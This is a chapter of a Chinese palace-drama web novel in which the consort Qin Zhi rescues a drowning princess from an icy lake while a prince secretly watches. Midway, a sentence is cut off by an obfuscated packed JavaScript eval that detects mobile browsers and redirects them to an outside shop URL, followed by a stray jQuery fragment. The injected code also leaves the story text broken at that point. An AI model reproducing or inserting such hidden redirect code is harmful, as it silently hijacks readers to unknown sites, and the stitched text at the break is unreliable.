“热闹?有什么事?”秦芝移开摊在面颊上的书,迅速坐起,面带期待问面前两个女孩。
“陛下赏了陈美人一颗宝珠,她正在湖中亭展示。”小舒回答。
听到这话,秦芝眼中亮起的光芒黯淡下来。
“没劲,这算什么鬼热闹。”她继续躺下,双臂举书在头顶,飞快浏览着书。
“小姐,我看马上要有一场乐子可看。”小井瞟一眼秦芝,她很了解自家小姐。
小井的话还是对秦芝起了些作用,秦芝虽仍旧盯着头上书页,但翻页节奏渐缓下来。
见状,小井圆眼弯弯,“听说那陈美人和刘婕妤不对付,刘婕妤现在也在湖心亭,小姐不好奇会发生什么?”
秦芝再一次坐起,“啪”地一声将手中书掷到罗汉桌上,望着两人。
“走。”
陈美人是谁?刘婕妤又是谁?
她不认识,也不在乎,但是这些时日太过无趣,她纯粹是想看热闹。
太月湖是后宫中最大的湖池,其中有一湖心亭,与岸边距离不过几丈远,不过需要走过一小段石桥才能到达。
主仆三人从素念阁,一路鬼鬼祟祟走向太月湖。
现今已然腊月初,一路上枯枝败叶,寒风萧瑟,路上宫人都低头疾行。
因为严寒,路上的宫女宦侍们见到秦芝后也只是匆匆礼貌行礼,并不过多驻足停留。
远远看去,湖心亭上果然聚集着一群人。
秦芝带着两个侍女,找到一个隐蔽又不算遥远的树丛猫着,既能听清声音,又能不被湖上众人发现。
亭上吵闹的声音穿过凛凛寒风传递到三人耳中。
“陛下对你只是图个新鲜,怕是一个月都不到就会厌倦,你在我跟前显摆什么?”一个尖锐的女声,估计应当是刘婕妤。
一个年轻的女子声音回击道,语调中藏着刺。
“婕妤姐姐,那您呢,您可是从未拥有过这份宠爱,若不是靠着家世,您恐怕都无法进宫吧,啧。”
这位应当是陈美人。
听到此话后,刘婕妤似乎大怒,张牙舞爪的便要去攻击陈美人,却被身后的宫女拦住。
“婕妤姐姐,这人这样说您,您若是轻易被此人压制,今后她不得翻了天去?”第三个女子声音响起,声音温柔似水。
此人在拱火,真是坏到骨子里,秦芝心中暗暗咋舌。
果不其然,又是新一阵的吵闹,寒风呼啸,纵然隐隐约约地听不真切,可传到三人耳朵里的话却已是难听至极。
不到一刻,秦芝便已经没了兴致,宫中这些尊贵妃嫔们的争吵,言辞肮脏无聊,竟还不如她家乡里那些小摊贩们的日常吵闹有趣犀利。
“实在没劲,天寒地冻的,咱们走吧。”秦芝招呼着两个侍女离开。
这时,一个陌生的声音响起。
“两位...姐姐,你们别吵了,大家都是姐妹,若是父——陛下经过,看到各位姐姐如此不和,怎么是好?”是一个软糯稚嫩的声音。
这声音听上去不过十岁出头,秦芝惊诧转头,果然看到一个约莫十二三岁的女孩,和小舒、小井一般大小,身披的大氅皮毛华贵,如此妆扮,应该...也是宫妃吧。
那女孩尚未褪去稚嫩脸庞,神态单纯,笑容真挚。
但女孩面容陌生,年纪轻轻,说话也没有分量,没有人将其话语听入耳中,而是愈争愈烈,亭中一派鸡飞狗跳。
亭上已经乱作一团。
她实在无法理解这群人为一个老皇帝陷入这样疯狂。
秦芝远远看着,长叹一口气,欲带着两人转身离开。
刚走出两步。
“扑通!”
巨大的落水声砸到秦芝耳朵里。
“有人落水了!”亭上众人很是慌张。
秦芝猛地转头,看向掉入水中之人。
是那个劝阻众妃、不过十岁出头的孩子。
那女孩并不通水性,水中扑腾出巨大水花,亭上的人面色仓皇失措,却并未有一人下水救助。
巡逻的侍卫并未在附近,已经有人去寻,可片刻过去,寻侍卫的人也不曾回来。
随着时间过去,女孩的体力下降,水中的水花慢慢减小。
秦芝飞速奔向岸边,向四周张望,周围光秃秃一片,没有长树枝,更没有可以当作绳索的东西,她将外袍脱下来,用尽所有力气甩到水面上,却离水中的女孩太过遥远,实在无济于事。
“你向前一段,抓住我的衣服就好!”秦芝大喊着。
但那女孩溺在水中,压根听不到秦芝的声音。
秦芝看向亭中推卸责任的众人,只感到绝望,没有一个人真正想要去救这条活生生的人命。
只有一个侍女站在桥上着急地看着水中人,满脸是泪,应当是那个女孩的侍女。
眼看着那女孩扑通的幅度越来越小,直到水面几乎归于平静。
秦芝看向仍然没有侍卫出现的湖边窄道,一咬牙,下定某种决心,跑向女孩落水处的对应桥上位置。
尽管她略通水性,但是这湖的深浅未知,且现在处于寒冬腊月,下水救人与死亡只有一线之隔。
但是,这是一条只有十岁出头的年轻性命。
“小井,把你们两个的外袍和我的外袍绑在一起,抓紧一头,在我上来的时候,将另一头扔向我。”
喊完这句话,秦芝翻身一越,跳入湖中。
冷,真冷。
这是秦芝跳入水中瞬间的第一感觉。
混着冰碴的湖水几乎要刺入秦芝的骨缝。
无暇再思索,秦芝将头埋入水中,再睁开双眼,眼睛瞬间一阵刺痛。
湖中黑沉沉的,光线极弱,秦芝只能看到穿梭的鱼与凌乱的水草,并未看到女孩的身影。
她只好再向下沉身,向着更深处寻觅,水中一切都安静到可怕,屏住气息,她向着四周游去,却始终不见另一个人。
时间漫长而停滞。
终于,一个隐隐绰绰的瘦小黑影浮现在她面前。
那黑影已经没有知觉,仰躺着向更深处沉去。
她加速向前,抱住瘦小的女孩,直立着奋力朝向水面上浮。
周遭一切都迷幻起来,眼睛直冒黑斑,秦芝已经憋气到极限,何况还拽着另一个人。
在几乎要晕厥的最后一刻,秦芝探出水面。
猛一呼吸到新鲜空气,秦芝大口吸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706914|208337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气,却被水呛住,她一边咳嗽一边拉着女孩向前游去,估摸着差不多的位置,她示意岸上慌张的小舒和小井,两人用尽全力扔着三人外袍拧作的“绳索”,恰好扔到她手边,在岸上两人的帮助下,秦芝带着女孩,狼狈不堪地趴在岸边。
秦芝咳嗽着爬向女孩,女孩却是直挺挺地躺在岸边,她将手放到女孩脉上。
“气机闭塞,还能救,小井,过来帮我。”
她将女孩的双脚搭载在自己的双肩,背对背半蹲着,让女孩倒吊在自己背上,小井扶着女孩的头。
不消片刻,背上的女孩一抖,吐出一滩水来,秦芝才放下女孩,抱在怀中为其顺气。
女孩微微睁眼,眯着眼睛看秦芝,又昏迷过去。
侍卫们这才姗姗来迟。
“属下来迟,请才人恕罪。”侍卫们齐齐低头半跪。
秦芝冷眼望着这群人,“若贵人在众目睽睽下溺亡,你们担待的起吗。”
侍卫们低头不语。
若不是今日事发生,秦芝只想在素念阁默默无闻到终老,更匡论当众训斥侍卫,何况自己品级又低,人微言轻。
可是巨大的愤怒涌上来,她无法再顾及其他。
方才,就差一点点,一条年幼性命就要消失在秦芝眼前。
她见过无数人在吴娘子的医馆里挣扎求生,深知人们对活着的渴望,她不想让这年轻的性命轻飘飘的如玩笑般离去。
周围围着一圈宫妃,都在嘀嘀咕咕,不知道在说些什么。
秦芝绷着的一根弦,随着女孩被轿子送离后终于散开,一种浓重的疲惫弥漫开来,眼前一阵白光,她再无知觉。
离岸边几丈处的树丛中,隐匿着一身飞鱼服年轻男子,看完全程后,悄然离开,向着更远处的轿子走去。
没有人看到,在远处假山的侧面,藏着一抬奢华的轿子,轿中人目击了全程。
看到水中两人已经被安然接走,轿中的宋煜放下轿帘,神情若有所思。
“主子,我回来了,那两人已经无恙。”江衍站在轿旁说。
“发生了何事。”轿中人温雅的声音传出。
“是成罗公主落水,巡逻侍卫并未及时赶到,我本欲救人时,一位宫妃先于我跳水施救。”
“成罗?她自小体弱,从未出过锦安宫宫门一步,怎会出现在那里?”宋煜语带疑惑。
“属下不知。”
宋煜眼皮微垂,似是想到什么,轻笑一声:“这片宫殿的侍卫隶属大哥安排,尽快将此事传入父皇耳中。”
“是。”
方才那道熟悉的女子身影浮现在宋煜眼前,但他距离极远,无法看清女子面容。
那身影...让他想起来一个人。
“那位施救的宫妃是何人,倒是极有胆魄。”
江衍回忆道:“听那人的宫女称呼,似乎是一位姓秦的才人。”
秦?
他眉间微紧,一种不可思议的可能出现在脑中。
“去查几日前初进宫的宫妃,特别是——那位秦才人。”
“是。”江衍好奇地抬眼看一眼轿子,他从没有见过三皇子对宫妃这样感兴趣过,难道这批宫妃中有利于大计之人?